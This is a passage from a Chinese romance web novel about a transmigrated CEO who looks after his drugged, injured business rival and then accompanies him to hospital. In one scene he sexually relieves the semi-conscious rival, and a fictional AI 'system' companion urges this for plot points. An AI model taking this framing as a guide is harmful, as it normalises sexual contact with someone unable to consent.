于是,那个丑的一批的蝴蝶结就稳稳待在了顾青衍的脚踝上,谢临溪端详着,想着要不要拍个照,作为以后威胁顾青衍的手段之一 ——毕竟顾总和这个极其粗糙幼稚的蝴蝶结很不匹配,顾青衍又死要面子,到时候万一有磨擦,谢临溪将这照片放出来,能将顾青衍气死。 但想着这丑东西是他自己打的,谢临溪只好罢。 他又心想:“如果顾青衍明早起来,发现了这丑玩意呢?” ——那他就说是酒店的应急医生绑的结。 处理完脚上的伤,谢临溪将死对头的双腿塞回被子里,认命的将医药箱提到床上,给他处理腰腹上的淤青。 谢哲韬那一脚踹的蛮狠,顾青衍的小腹上青紫一片。 谢临溪指尖沾了药,往肿胀处一抹,便听见了抽气声。 原本柔顺摊开的小腹微微抽搐,旋即弓了起来,被主人护在身下,谢临溪抬眼,恰好与顾青衍对视。 对方的眼神懵懂迷茫,像蒙了一层水雾,定定落在谢临溪身上,谢临溪沾了药的指尖僵在半空,还没等他想好措辞,顾青衍眼睛一闭,又睡了过去。 谢临溪:“……” 不知为何,他觉得顾青衍脸上的红晕越来越明显,被子中的双腿挣扎着颤动,似乎不自觉地互相摩擦起来。 谢临溪心道:“顾青衍,你真的好麻烦。” 他将被顾青衍夹住的被子强行扯了出来,动手去撩他的上衣,想将活血化瘀的药膏抹上去,可当手指接触到药膏的一瞬间,顾青衍似乎贪恋他手上的那点凉意,不自觉的曲起腿,将谢临溪的手困在了腰腹与双腿之间。 这完全是下意识的动作,似乎谢临溪的手是一个枕头,一截被子,温度让他舒服了,他就要缩着压起来。 谢临溪:“……” 他眉头微皱,想要将手抽出来,可抽到一半,又顿住了。 指尖是不正常的高热。 谢临溪用了点力,强行将手抽出来,碰了碰顾青衍的额头:“好热。” 顾青衍似乎在发烧,又和发烧不太相同,就这么一伙儿的功夫,他的额头出了层冷汗,将额发全部打湿了,那双迷蒙的眼睛欲睁不睁,口中的气音断断续续,似乎难受的狠了,又抱着被子蜷缩成一团。 谢临溪一顿,掏出手机拨打120。 他还没按下播放,小八怯生生的从一旁冒了出来:“宿,宿主,你要打120吗?” 谢临溪:“嗯,他看上去不像是单纯醉酒,别是给谢哲韬踹出了内伤,送去医院看一看吧。” 小八继续怯生生:“可是,可是我觉得,医生可能也没用什么好办法呢。” 谢临溪停下动作:“什么意思。” 小八:“就是,就是,就是……” 毛茸茸的光团中伸出两条柔软的细线,互相对了对,像是对了对手指:“就是那个药啦!” 谢临溪皱眉:“……药?什么药?” 电光石火间,一段文字浮现在了谢总的脑海。 “顾青衍哪里知道,经纪人早猜到他不会轻易屈从,特意往他的水中下了助兴的*药,药力在身体中如火势蔓延,随着那人的触碰越烧越旺,越烧越旺,他浑身无力,手脚虚软,连推拒也变成了欲拒还迎的邀请,当致命被那人控住的时候,他连最后一丝反抗的力气也没有了。” ——出自《迷失于爱欲的囚笼》第3章,第21段。 谢临溪额头青筋微跳:“什么东西,所以顾青衍中了药,这个‘那人’指谢哲韬,他们……?” 小八趴在书册上,看了看浑身通红,试图从谢临溪的指尖汲取一些可悲的凉意的顾青衍,颤颤巍巍道:“之前那人是谢哲韬,现在是您了,宿主。” 谢临溪:“……” 他的指尖还放在顾青衍的额头,滚烫的热度顺着指尖一路涌上来,带来灼烧般的痒意。 谢临溪收回手指:“刚刚在车上,他表现的还很正常……” 说到一半,他又顿住了。 也不是很正常。 从上车开始,顾青衍一直处于神志不清的状态,口中的气音和呢喃从未消下去过,脸色也是不正常的潮红,但谢临溪只当他喝多了酒,毕竟在谢临溪自己的圈子挺干净,几乎没有下药强迫这回事儿,之前虽然阅读了小说,但由于描写太过辣眼,谢临溪走马观花的掠过了,没往仔细想。 现在看来,对方软绵绵的,不住下滑的身体,昏昏沉沉的状态,断断续续的气声,确实和药物有关。 小八:“应,应该是之前他在街上吹了下冷风,体温降低,可能也将药力压下去了,现在被你带上来用被子裹好了,暖和起来了,就又开始了。” 谢临溪按着额头:“所以,这该怎么处理?” 不能把顾青衍带医院去,顾青衍脸皮薄,以后又是要上银幕的,谢临溪有心让耀世签约他,如果这一幕被人拍下来要挟,后续非常麻烦。 小八:“嗯,根据我的数据库,如果对象出现无法解决的身体异常,您可以求助您的医生朋友。” 谢临溪:“……我哪来的对象?我哪来的医生朋友?” 小八悄悄后退,茫然又疑惑:“可是我数据库中的每本小说,每位霸总都应该有一个医生朋友的。” 谢临溪:“……” 他按住胀痛的额头:“我从初中开始读国际学校,身边全是二代,我们班80%的人毕业选择金融专业,10%选择哲学历史,9%选择艺术鉴赏类,只有百分之一的人根据天赋兴趣选择了其他专业,而我本人MFS5年本硕博连读,请问我哪来的医生朋友?”< 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在谢临溪开口前,它有点委屈的后退两步:“我载入的每本小说,如果主角中药了,都不会有放着不管的情况的。” 每本小说中药后,明明都应该是大do特do的! 谢临溪:“……” 沉默了半分钟,谢临溪将顾青衍翻了过来,拍了拍他的脸:“顾青衍,你喝醉了会断片的,对吧?” 他看着死对头带着水色的茫然眼瞳,深深的吸了口气:“算了,我就当你断片了,就这一次。” 他心说顾青衍真是傻的可以,中药了怎么连自我疏解都不会,在这儿可怜兮兮的给谁看呢,还得靠他来解决。 不过剧情中说顾青衍有个美满的体验,他俩都是男人,彼此没那心思的情况下就用个手,倒也不用忌讳那么多,就当刷美满值了。 谢临溪想着,脱下了外套的缎面西装,将衬衫袖子撩起来,用袖箍固定,露出肌肉线条干净的小臂,对着灯光活动了一下五指关节,又从医药箱里拿出了医用橡胶手套,严丝合缝的戴在了手上:“小八,你回避一下吧。” 他和顾青衍现在的关系,还是戴一下手套的好,不然万一顾青衍喝酒不断片,两人想起来都尴尬。 小光团正在看谢临溪戴手套,他的宿主有一双很漂亮的手,五指修长,骨节分明,指腹常年握笔处带着薄茧,手背上能看见淡青色的血管。 医用手套很薄,牢牢包裹住了宿主的皮肤,将骨节的每一处转折勾画的淋漓尽致。 谢临溪往手套上浇了点医用甘油,回头看向愣住的系统:“小八?” 光团连忙:“哦,好!” 系统完全没想到都到这一步了,这个剧情点还有,虽然和原始剧情偏差较大吧,但有就是好的,当下有些喜出望外,它飞快的飘出窗外,将空间完全留给了谢临溪和顾青衍。 谢临溪垂眸,伸入被中,摸到了顾青衍的小腹。 他冰凉的手指触碰到高热的皮肤,立马被压着扣紧了,而谢临溪强迫着顾青衍放松,一路下探,摸到了炙热与柔软。 8. 早安 几乎是手指碰接触的瞬间,顾青衍就绷直了身体,他本能的追逐着谢临溪的手,将自己全部送到他手中。 谢临溪心道:“顾青衍,你真的好麻烦。” 薄薄一层橡胶手套,什么也挡不住,怪异的触感在谢临溪传递到谢临溪脑海,让他本能的出了一层鸡皮疙瘩。 非常柔软,像陷入了一团奶油蛋糕。 为了方便动作,他将顾青衍捞起来控到怀里,顾青衍的额头就枕在他的肩头,唇齿碰着他的耳垂,谢临溪也不知做了什么,顾青衍难受的狠了,急促的呼吸就掠过谢临溪的脖颈,断断续续的喘息在谢临溪耳边炸响。 简直像是含着谢临溪的耳垂在说话。 谢临溪:“……” 谢临溪好险没将顾青衍从肩头上摔下去,只得伸出空着的另一只手,揽过顾青衍的肩头,将他固定在了肩膀上,耳边啜泣般的声音从未停止,主人似乎竭力想将它们压在嗓中,但谢临溪稍稍一动,声音便再也压制不住,逸散出来。 谢临溪偏头,正对上一双带水色的眸子。 顾青衍不知道什么时候睁开了眼,空茫的视线定定注视着谢临溪,药效没有过去,他茫然的很,还不能分清现在处于何种境地,只是枕在谢临溪的肩头。 谢临溪:“顾青衍,清醒着吗?” 无人回应。 谢临溪只得认命的继续,他偏头看向近在咫尺的顾青衍,心想:“原来这人情动的时候,是这样样子的?” 卧室里的灯光被谢临溪调的很暗,只保留了玄关和走廊的氛围灯,顾青衍的面容隐在暖黄色灯光的阴影里,眉头蹙成一团,眼睫虚垂着,唇也抿成一条直线,不知道舒服不舒服,也分不清是欢愉还是痛苦。 就像日后的顾总,所有情绪掩在冰冷淡漠的假面下,一丁点儿也不肯露出来。 和他演戏的时候一点也不一样。 谢临溪从来没告诉任何人,他其实看过顾青衍演床戏。 顾青衍被雪藏过一段时间,过的落魄潦倒,估计是很缺钱,正儿八经的戏他接不到,只能接些擦边的小成本,后来顾青衍创办华星,那些片下架的下架,消失的消失,明面上再没有。 谢临溪还是某次和顾青衍针锋相对的争吵过,那时他投资出了点小岔子,在耀世的影视库里漫无目的划,结果忽然在一张海报里,看见了顾青衍的脸。 谢临溪当时想着,顾青衍还拍过这种东西?等下次开会他提上一嘴,顾青衍不要气死。 他点进去,顾青衍演一个边缘配角,他光/。/裸着上半身,下半身蜷缩在被子里,灯光师将现场的灯光调的很昏暗,镜头追逐着青年的身体,记录着肌肉的崩起颤抖,聚焦在他绷直的、汗水淋漓的腰背和深陷的腰窝,只在最后的时候,镜头带过了顾青衍的脸。 谢临溪点击暂停,顾青衍的演技无可挑剔,即使是这样戏,他依旧表演出了快乐和沉迷,但是谢临溪能看出他僵硬上扬的唇角,和一双茫然惶惑的眼睛。 当时谢临溪想,顾青衍那么要面子,那么怕狼狈,当聚光灯打在他身体上的时候,镜头怼着他的腰窝拍摄的时候,他会是什么想法? 那戏不需要任何演技,只需要一具足够修长漂亮的躯体,镜头甚至吝啬于扫到顾青衍的脸,即使他后来做过影帝,国内几大奖拿了个遍,在被雪藏的那些年,顾青衍只能接到这样的戏。 然后谢临溪关掉视频,将内容从耀世的数据库中删除,再没和人提过这事儿。 指尖触感湿热怪异,怀中的躯体也不知是不是舒服,在谢临溪怀里挣扎的历害,又被谢临溪轻而易举的控住。 谁知道顾青衍人看着文质,时间倒是意外久,他难受的完全缩起了身子,谢临溪脊背也沁了点汗,他生涩而不得法的安抚着,却无法完全舒缓药力,回想起剧情中的情节,也不知道是顾青衍本人的癖好还是药物作用,咬牙伸手,往后方摸索…… 等药效终于过去,顾青衍彻底瘫软在了谢临溪怀里。 被子,手套,甚至谢临溪衬衫的一角都乱糟糟的,谢临溪电话让服务员来换床单,将顾青衍带去了洗手间。 他将死对头放进浴缸,用温水洗干净,然后再将死对头裹回干净的被子里。 临走时,谢临溪看着死对头舒展的眉目,叹了口气,心想着:“顾青衍,你真的好麻烦。” 他进了隔壁房间,脱下衬衫洗澡,让助手送一套新的,等他洗澡出来,发现一个小光团正躺在他的床上,滚来滚去的摇摆。 小八:“宿主你好历害!我的剧情值涨了!今晚是非常美好的体验呢!” 谢临溪:“。” 他心说:“你的体验很美好,我的体验很不美好。” 假如穿到过去,捡到落魄的竞争对手,正常人应该是什么流程? 1.礼贤下士,晓之以理动之以情,尊重爱护竞争对手,将竞争对手绑上自己的战车,为自己所用。 2.雷霆手段,强势打压,剥夺竞争对手成长的空间,将威胁扼杀在摇篮中,让他再也成不了气候。 以上是正常人的选择,至于不正常的选择…… 3.把竞争对手扣了。 谢临溪:“……” 谢总抬手扶住额头,前额更痛了。 小八可不知道那些弯弯绕绕,它欢快的来回悦动即使只是一个小光团,谢临溪也感觉到了它的快乐。 小八星星眼:“我说宿主之前一点也不着急,原来是打算这样解决的!宿主运筹帷幄之中,决胜千里之外,真是太厉害啦!” 谢临溪:“。” 怪异湿热的触感依旧停留在指尖,谢临溪难以形容,像将手指埋入了一团湿软的奶油,奶油还自行裹挟着手指,让他不由汗毛倒竖。 在这种情况下,谢临溪不太想和系统说话,只问:“剧情值和美满值分别是多少?” 小八:“唔,剧情值75%,上药美满体验和清洗都有了,就差个情话和接吻了,美满值 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至于昨晚,谢临溪只当作不小心将手指陷入了会咬人的奶油蛋糕,其他私下里的联系,就不用有了。 由于要开股东会议,昨天谢临溪特意让助理送了件正式的西装,纯黑哑光,刚刚熨烫过,面料平整,廓形笔挺,仅在腰部微微内收,掐出腰线的轮廓。 谢临溪身高腿长,脸又好看,往哪儿一站和男模似的英俊挺拔,等正装穿戴完毕,他打上领带,又在腕上带上领带同色系的腕表作为点缀,穿上低跟皮鞋,最后对着镜子梳理额发,将碎发一丝不苟的别在脑后。 光球飘在身边,毫不吝啬的夸赞:“宿主!好看!完美符合书中的霸总形象!” 工作状态,谢临溪为了防止有人读出他的情绪,表情总是偏平淡,听见小八的夸赞,他眼角一抽:“……那还是不要了。” 谢哲韬那样的霸总,还是算了吧。 等整理好一切,谢临溪自觉仪容无可挑剔,这才开门出了卧室。 结果只一眼,他沉稳内敛的商务精英表情,就凝在了脸上。 顾青衍起了,他不但起了,还规规矩矩的坐在沙发上,他依旧穿着他那件扣子崩坏的衬衫,撕破的地方用酒店提供的别针别好了,手指抓着沙发套,正往谢临溪的方向看来。 谢临溪:“。” 他心中略烦躁,步履却不停,视线径直掠过了顾青衍,装作事务繁忙的样子,只绅士的颔首:“顾先生,早上好。” 谢临溪西装革履,一举一动都矜贵优雅,顾青衍垂眸看着崩开的扣子,略有些不自在,只道:“谢先生,早上好,我们,我们……” 在谢临溪越来越僵硬的肢体动作中,顾青衍轻声:“我,抱歉,我能向您解释一下,昨晚的事情吗?” 谢临溪一顿,旋即露出无可挑剔的笑容,他仪容优雅的在顾青衍对面落座,无比官方的,商务的抬手示意:“哦,当然,顾先生请讲吧。” 9. 荒谬 谢临溪神态自若的坐下,双手交叠,摆出了倾听的姿势,如同一位谈判场上的商务精英:“当然,顾先生,请说。” 顾青衍垂眸没看他,手指纠着沙发边缘,像是有点忐忑:“我是想说,昨天晚上,您将我带回来,我那时喝醉了……” 谢临溪维持着令人如沐春风的微笑,微微颔首,等待着顾青衍继续,可如果有熟人在这里,就会发现他的表情很僵,完全是下意识的礼貌,实际已经神游万里了。 ——顾青衍记得是谁将他带回来的,所以他没有断片? 那岂不是说…… 他拍他的脸,抱他进卧室,抓着他的脚踝上药,在他的脚腕上系丑蝴蝶结……顾青衍都知道? 谢临溪不自觉的垂眸,看了眼顾青衍的脚腕。 顾青衍穿着酒店的白拖鞋,伤处还肿着,穿不了袜子,毛茸茸的白拖鞋半没过脚背,刚好将脚踝暴露在外,那个奇丑无比的蝴蝶结正系在他的脚腕上,迎风招展,耀武扬威。 谢临溪:“……” 他移开视线。 顾青衍注意到他的视线,也垂眸看了眼脚腕。 顾青衍:“……” 他很轻的蜷起脚趾,将腿往后缩了缩。 两秒的静默后,谢临溪端起礼貌的微笑,无比正式:“是的这样,顾先生,当时您喝醉了,我的司机开车刚好露过,看见了您,出于道义,将您带了回来,这有什么问题吗?” “……不,没有什么问题。”顾青衍摇头,“我是想和谢先生说……” 他原本不知盯着哪里,为了表现真诚,便将视线转回来,准备与谢临溪对视。 可还没等他措辞好和谢先生说什么,不经意间,视线便掠过了谢先生搭在沙发上的手。 谢临溪有一双很漂亮的手。 指节根根分明,修长有力,皮肤在纯黑西装的映衬下呈现出冷白的色泽,西装与手之间的腕子上带着一块昂贵的金属腕表,阴刻着顾青衍不认识的品牌logo。 谢临溪不玩表,但作为商务人士,他需要一块名表撑场子,这表价值不菲,蓝宝石镜面反射出剔透的光,半镂空的表盘下是咬合复杂的机械齿轮,带着金属工业风独有的冷肃,搭在谢临溪的腕子上,让他整只手都像是无生命的工艺品。 “……” 顾青衍剩下的话哽在喉咙中,目光漂移,移开了视线。 谢临溪原本维持着商务谈判的架势,却见顾青衍看了他一眼,忽然眼神飘忽,他便跟着顾青衍的视线往下一看,落在了自己的手指。 谢临溪:“……” 他眼角微抽搐,冷肃的表情险些寸寸皲裂。 在顾青衍看不见的地方,谢临溪不自在的捻了捻手指。 手指不合时宜的回忆起了昨晚的触感,指尖略有发烫。 又是两秒静默后,谢临溪咳嗽一声,和顾青衍同时开口,语速飞快: “顾先生是这样的,昨天晚上你中药了。” “谢先生是这样的,昨天晚上我中药了。” “……” “……” 再次静默。 在令人窒息的尴尬中,谢临溪抬起茶杯喝水,调整有些怪异的表情,示意顾青衍:“顾先生先说吧。” “……好的。” 顾青衍唇抿成一条直线,复又松开,这样踌躇许久,等谢临溪好不容易借着水杯的遮掩,将表情调整为商务洽谈的模式时,顾青衍终于开口: “谢先生,我是想说,昨天是个意外,我并没有想……” 他咬牙:“并没有想勾引您的意思。” “……” 水杯之后,谢临溪一口水含在口中,喝也喝不下,吐也吐不出,表情险些扭曲。 谁勾引他?顾青衍勾引他? 那个他说一句能回呛十句,眼高于顶,满脸不悦,好像谢临溪欠了他八千万的顾青衍勾引他? 滑天下之大稽。 让谢临溪相信顾青衍想勾引他,还不如让谢临溪相信谢哲韬想勾引他。 如果不是这一辈子顾青衍和他素不相识,谢临溪简直要怀疑这是竞争对手的全新手段——说垃圾话害耀世的总裁呛水而死,然后兵不血刃,不战而屈人之兵,顺利并购耀世。 得益于谢总前世和顾青衍多年打擂台锻炼出的喜怒不形于色,谢临溪勉强控制住了表情,他放下水杯,清贵的眉目看向顾青衍的方向。 顾青衍:“我知道,昨天的事情有点离奇,我明明早就离开,却出现在您路过的地方,而且短短几百米,我却走了二十多分钟,这不合常理。” 谢临溪心道:“那不是因为你的脚踝受伤了吗?” 顾青衍却道:“谢先生,我知道你可能不相信,但我当时喝醉了,站不稳,分不清方向,腿又受伤了,才走得这么慢。” “……” 谢临溪心道我信,我为什么不信,可面上,他却一顿,旋即端起礼貌的笑容,微微点头,表示理解。 顾青衍:“然后您来扶我,我径直倒进您的怀里,也不是刻意设计,是我当时站不稳,也看不清东西,将您当成了墙。” 谢临溪继续点头,继续表示理解。 顾青衍:“后来在车上,我身体往下滑,靠在了您的肩膀上,我也不是故意的,是因为我喝醉了,头晕眼花,支撑不住身体。” 到现在为止,谢临溪的心跳终于回归平稳,他战术喝水,继续点头,目光平和的注视着顾青衍:“理解,您继续说。” “……” 说到这里,顾青衍双手紧握,不住的捻动,神色也飘忽起来:“还有,后来在床上,我压住您的手,不让您走,也不是想做什么,我只是……” 谢临溪:“明白,您说。” 顾青衍:“我只是中了药,身体热度较高,而您的手很凉快,压住您是本能的身体反应,和我的个人意志无关。” 说到这里,顾青衍有点无力的苦笑了一下。 他心知肚明,他的解释听上去太过苍白,刚好在车库门口的位置,刚好倒在谢总的怀里,刚好支撑不住睡在谢总肩上,又刚刚好在药力压住了谢总的手,天下哪有那么巧的事情? 这不是蓄意勾引,什么是蓄意勾引? 顾青衍补充:“抱歉,我知道我的说法听上去很荒谬可笑,但请您理解,我并没有攀附您的意思。” “……” 谢临溪面色古怪,不知道该摆出什么表情,他见惯了臭脸的顾青衍,现在见他垂头盯着地 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谢临溪:“那现在,您是想在这里多休息一下,还是有其他打算?” 顾青衍:“我不打扰了,我下午还有工作,就先回家了。” 谢临溪却道:“稍等,如果您上午没事,由于昨天的事情,我建议您去做一个体检。” 他指谢哲韬踹了顾青衍一脚。 他还记得,前世顾青衍确诊了胃癌,还是晚期。 这病从有病征到彻底爆发需要几年,昨天谢哲韬踹了顾青衍一脚,虽然看上去没受伤,但胃这种脆弱的器官,还是小心点好。 可顾青衍看着他,却明显顿了一秒。 对方的面容微微转冷,却什么也没说,只道:“抱歉,如果您有这方面的顾虑,我可以配合检查。” 谢临溪抬手看表,他今日提早了一个多小时起床,现在离股东会议也还有一段时间,当下道:“那跟着我来吧,刚好我回公司路过医院,顺便带你去。” 顾青衍冷着眉目起身,他依旧穿着那件下摆撕裂的衬衫,用曲别针扣住,腰腹间的青紫隐约可见。 谢临溪蹙眉。 顾青衍那死要面子的德行,后世和谢临溪开会,恨不得每根发丝都喷上摩斯,露出一点儿狼狈都像是要了他的命,要他穿这样的衣服去医院检查,那未免有点折辱了。 谢临溪:“你稍等。” 酒店有洗衣服务,但昨天谢临溪的衬衫脏污的太诡异,他是先自己洗了一边,才送出去烘干熨烫的。 他绕回房间,取出衬衫和西装外套,递给顾青衍:“昨天刚刚洗过,是干净的,你先穿着吧。” 他的尺码比顾青衍略大,顾青衍垂眸穿上,原本没有什么,可谢临溪一说,他却顿住了。 昨天的衬衫是因为什么才洗了呢? 两人心知肚明。 “……” “……” 顾青衍开始看天,谢临溪开始看地。 犹豫良久,顾青衍才拿着衬衫回到卧室,比划着换上了。 两秒钟后,谢临溪拉开房门,切换成了商务待客的状态,彬彬有礼道:“顾先生,请和我来吧。” 10. 检查 两人进入地下车库,谢临溪拉开车门,绅士道:“顾先生,请吧。” 谢临溪现在醒酒了,就没让司机来接,准备自己开去公司,中途路过医院,刚好带顾青衍去检查胃。 顾青衍颔首:“麻烦谢总了。” 谢临溪也不知道那句话惹到他了,顾青衍的脸色冷的可以,兀自垂着眉目,依稀又是后日不苟言笑的顾总。 谢临溪心道:“顾青衍又在搞什么,莫名其妙的。” 可是顾青衍落座的瞬间,冷淡的脸色就僵了僵。 车内有酒味。 昨晚车停在车库就没人动过,也没开窗通风,浅淡的酒味欲散不散,混合着车内水生调的无火香薰,交织出了极古怪的味道,像是特调的鸡尾酒。 顾青衍忽然坐立难安起来。 他不知道昨天谢临溪喝了多少酒,身上有没有酒味,但他被谢哲韬灌了一瓶,还有大半洒在衬衫上,这车内的酒味,多数来自于他。 谢总的车是一辆极好的车,商务车型,内饰简洁大方,保养得当,而他将这车染上了酒味,总是会让主人有些不悦的。 况且,昨天在后座…… 谢临溪正倒车出库,不知想到了什么,忽然抬眼,看了眼头顶的后视镜。 后视镜里清晰的倒映出了后排的座位,昨天就是在这里,顾青衍滑着滑着,滑到了他的肩上,撞歪了他的电脑。 与此同时,顾青衍也神色飘忽,望向了后视镜。 镜中,两人视线撞了个正着。 谢临溪:“……” 顾青衍:“……” 他们不约而同的移开视线。 谢临溪垂眸调试导航,顾青衍看向窗外,在一片尴尬的死寂里,顾青衍率先开口:“抱歉,谢先生。” 谢临溪心道:“哈?” 他心说顾青衍又吃错药了吧,刚刚不是还给他甩脸色吗,好好的道什么歉? 顾青衍:“弄脏了您的车,很抱歉,我可以支付洗车的款项。” 谢临溪:“那就不用了。” 他心道:“顾青衍都穷的要去租西装了,我还要他洗什么车,与其可怜这辆车,倒不如可怜可怜我的手,难道我还能让顾青衍来给我洗手?” 两辈子了,谢总可还从来没给人干过这事儿,至今指尖还有怪异的触感残留,谢临溪一回想,就浑身起鸡皮疙瘩。 他的手指微微摩挲方向盘,老大不自在。 由于开车,谢临溪戴了双手套,纯黑,冰丝材质,紧且显手形状,像是电影里中世纪古堡的管家。 与此同时,顾青衍的神色飘忽,偏头看向后视镜,镜中刚好能看见谢临溪的手。 谢临溪正难受着,也往后视镜瞥了一眼。 谢临溪:“!” 顾青衍:“!” 又撞了个正着。 谢临溪专心开车,而顾青衍似乎忽然对车中的安全带起了强烈的兴趣,开始埋头研究。 二十分钟后,车开入了本市治疗肠胃病最出名的医院。 从迈入医院起,顾青衍的脸色又变得不好看了,好在谢临溪也习惯了死对头这副冷淡的样子,往他面前一伸手:“身份证给我,我去帮你挂号开检查。” 之所以谢临溪去挂号,是因为他要帮顾青衍缴费,顾青衍的经济状况看着捉襟见肘,胃镜做下来几百块钱,无痛还要再加几百,这对谢临溪来说不算钱,对顾青衍来说却不便宜,总不能谢临溪的便宜弟弟把人打伤了,检查费还要顾青衍来出。 顾青衍将身份证放入他手中,脸上没什么表情,冷淡道:“麻烦了。” 十分钟后,谢临溪拿着诊疗单:“走吧,我们上楼。” 他看了看医院导航,胃肠、肛肠、消化三个科室都在五楼,便按动电梯,和顾青衍一起上去。 电梯一出来,是个三岔路口,三个方向分别通向三个科室,消化内科在右,肠胃外科在左,中间则是肛肠科。 相比起其他楼层,这楼可热闹,切了痔疮的、肛萎的在换药,叫得和杀猪似的,来往的病人不少夹着屁股,一瘸一拐的走路,一边走一边发出嘶嘶的声音。 胃镜在消化内科,谢临溪看了眼指示牌,大步往右方走去。 但旋即,他发现顾青衍没跟上。 顾青衍拖着伤腿往左边走了两步,停下脚步,疑惑的望了过来。 谢临溪:“顾先生,走错了,这边。” 顾青衍:“谢先生,走错了,是这边。” 谢临溪抬头看了眼指示牌,望着顾青衍,没说话。 顾青衍抬头看了眼指示牌,望着谢临溪,也没说话。 某一瞬间,他们都觉得对方的眼神不太好。 两人都是西装革履,谢临溪为了开会,领带腕表皮鞋一丝不苟,连头发都细细梳匀了,一副日理万机高精尖人士的模样;顾青衍则穿着谢临溪的西装,精纺布料,版型挺阔,他爱干净,也早在清晨打量好了头发。两位总裁打扮的商务人士面无表情的在肛肠科电梯口对望,中间露过的病人们正夹着屁股嘶嘶嘶嘶,仿佛在演什么后现代的幽默喜剧。 顾青衍:“……” 谢临溪:“……” 时隔两个世界,作为死对头的某种默契忽然又浮现了,谢临溪和顾青衍都站在岔路口,没有朝对方走一步,似乎只要率先迈步,就是认输。 但是中间电梯口病人来来往往,声音嘈杂,互相喊话也不符合谢临溪和顾青衍的性格,于是顾青衍默了两秒,忽然掏出了手机。 谢临溪本来准备一早就走,昨晚在顾青衍床头留了张便签,说说后续关于谢哲韬的问题和赔偿方式都可以找他沟通,便签上还附带着他的电话。 顾青衍按着手机,开始敲敲敲。 几秒钟后,一条短信发到了谢临溪的手机上。 “谢先生,肠镜在肠胃外科,往左边走。” 谢临溪:“?” 顾青衍莫名其妙的做什么肠镜? 难道是昨天…… 谢临溪垂眸,看向了自己的手指。 他只放了两根,手指也是正常人的手指,既没有二指奇长,也没也关节过粗,况且戴了手套加了甘油,顾青衍也没出血,以小说主角受的天赋异禀,不应该到第二天还没缓过来,严重的需要看肠镜啊? 他站在原地不动,顾青衍敲敲敲,又发来了一条短信:“谢先生,有什么问题吗?” “……倒也没有什么问题。” 小说中的顾青衍是小说中顾青衍,也许现实中的顾青衍就这么脆弱呢? 谢临溪礼貌措辞,也低头敲敲敲:“抱歉,是我的疏忽,是昨天让您感受到异样和疼痛了吗?那时情况复杂,事发突然,我不得 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于是,谢临溪眼睁睁看着顾青衍冷漠的表情融化,逐渐变得呆滞,头顶的碎发都软塌塌的垂了下去,有点茫然的样子。 犹豫片刻,谢临溪接着哒哒哒。 “顾先生,我理解您的想法,但是,从我们昨天的活动来看,无论是深度还是激烈情况,都远没有到做肠镜的地步。” 肠镜并不舒服,深度可达一米多,会通过结肠进入大肠,还容易引起出血。 谢临溪:“如果您确实感觉不舒服,比起肠镜,我个人建议,更好的选项应该是……” 谢临溪停顿片刻,有点不敢看顾青衍,他转身面向墙壁,用尽了全身的力气,打出最后几个字。 十米开外,顾青衍捏着手机,陡然升起了不好的预感。 谢临溪:“肛/门/指/检。” 顾青衍:“……” 他冷淡的表情僵在脸上,有种“白茫茫一片大地真干净”的茫然,手指也颤抖的历害,几乎捏不住手机。 另一边,谢临溪竭力想带过上面四个字,他科学的,严谨的,学术的补充:“这种检查能准确识别到相应深度的撕裂或者外伤,而且能避免患处的二次伤害,如果您需要,我去为您挂号,然后我们走正前方。” 顾青衍抬头,正前方的岔路,通往肛肠科,也是整个五层惨叫最激烈的地方。 “……” 他木然打字:“不用了,我感觉还好,敢问谢先生给我挂了什么检查。” 话题终于掠过,谢临溪松了口气:“胃镜,谢哲韬那一脚踹的不轻,我担忧您的胃部有出血或者其他伤害。” 顾青衍:“……抱歉。” 谢临溪:“……抱歉什么?” 顾青衍抿唇打字:“……就是抱歉。” 他的态度忽然软化了下来,冷淡的表情一扫而空,垂着头不敢看谢临溪,只给他看两个发旋,然后拖着伤腿,一瘸一拐的向他走来。 死对头都成这样子了,谢临溪当然不能和他计较,只是走到他身边,递上了胳膊:“顾先生腿受伤了,走路不稳,扶着我吧。” “……” 谢临溪:“顾先生?” 顾青衍埋着头,手臂虚虚搭上谢临溪,语调闷得历害:“……嗯。” 11. 投资 接下来的全部过程,顾青衍都过分安静。 他拖着伤腿跟在谢临溪身边,一言不发,谢临溪往哪儿走,他就跟着往哪儿走,手虚虚搭在谢临溪的手腕上,像个全自动跟随机器人。 谢临溪起了一身鸡皮疙瘩。 他心说:“顾青衍又吃错药了?” 穿过七拐八绕的诊疗室,走到胃镜门口排队,谢临溪抬手看表,离股东会议已不足一个小时。 他将顾青衍安置在门口的长椅上,低头看他的发旋,死对头正低着脑袋,视线盯着地板,也不知道在想什么。 谢临溪:“顾先生,我马上要开会,你可以一个人排队吗?” 顾青衍:“……” 他抬头看谢临溪,心说他一二十多岁智力正常的成年男子,又不是三岁,怎么可能排队还要人看着,但谢临溪正垂眸看他,微微蹙眉,似乎在认真评估他是否需要人陪伴。 顾青衍心中气闷:“……麻烦谢先生了,我不需要人陪,我可以自己做完。” 谢临溪颔首:“我会让张晨,哦,就是我的助理,给你安排一位司机,等你完成检查后送你回家,至于后续的赔偿事宜,你也可以联系张晨,或者直接联系我。” 顾青衍:“……麻烦谢先生了。” 这时候,死对头半点没有后世浑身尖刺的样子,就连两个发旋的头发,也柔顺的垂了下去。 礼貌寒暄后,谢临溪坐电梯下楼,顺便给总助张晨打电话。 现在已经是上班时间,铃声刚响,张晨的声音就从电话那头传来:“谢总?您到了吗?股东们已经到了大半了。” 谢临溪正大步流星的穿过停车场:“我还需要一会儿,等会过两个小时你安排辆车,来第三人民医院门诊的五楼。” 张晨:“好的老板,您还是您的家人生病了吗?” 谢临溪:“不是,是……” 隔壁华星的老板,前世争锋相对的死对头。 谢临溪:“我的朋友。” 张晨:“好的谢总,您朋友的名字是?” 谢临溪:“顾青衍。” 张晨明显的卡了一下:“啊?” 张晨知道顾青衍,昨天谢总正和导演吃饭呢吗,吃的好好的,忽然一推桌子不吃了,然后横跨大半个江城,赶到半岛会所,一脚将便宜二少爷踹出去了两米远。 那会所席上有个陪同的小明星,十八线开外,都不够格谢临溪单独见一面的,看情况谢总也不认识他,结果打完便宜弟弟,谢临溪指名道姓,要张晨查顾青衍的资料,说是要给够赔偿。 ……不是给赔偿吗?怎么直接陪到医院去了? 还直接变成了朋友? 不过作为总助,张晨的嘴足够严,只道:“行,我来安排,然后您昨天要我查的资料,我已经整理好发到您邮箱了。” 谢临溪:“嗯。” 